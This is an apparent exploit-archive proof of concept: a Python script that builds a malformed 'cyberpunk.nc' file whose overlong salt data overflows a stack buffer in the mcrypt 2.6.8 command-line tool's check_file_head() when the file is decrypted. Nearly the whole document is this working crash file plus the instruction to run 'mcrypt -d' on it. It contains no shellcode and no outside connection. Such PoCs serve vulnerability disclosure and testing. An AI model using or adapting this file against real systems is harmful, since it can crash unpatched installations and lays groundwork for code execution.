mcrypt 2.6.8 – Stack Buffer Overflow (PoC)

#!/usr/bin/env python

# mcrypt <= 2.6.8 stack-based buffer overflow poc

# http://mcrypt.sourceforge.net/

# (the command line tool, not the library)

# date: 2012-09-04

# exploit author: _ishikawa

# tested on: ubuntu 12.04.1

# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data

# shout-outs to all cryptoparty people

import sys

sprawl = 105

gibson = "\x00\x6d\x03\x40\x73\x65\x72\x70\x65\x6e\x74\x00\x20\x00\x63\x62"

gibson += "\x63\x00\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00"

gibson += chr(sprawl)

gibson += ("A" * sprawl)

gibson += (chr(0) * 3)

try:

count0 = open("cyberpunk.nc", "wb")

count0.write(gibson)

count0.close()

except IOError:

print "file error"

sys.exit(1)

print "now runmcrypt -d cyberpunk.nc"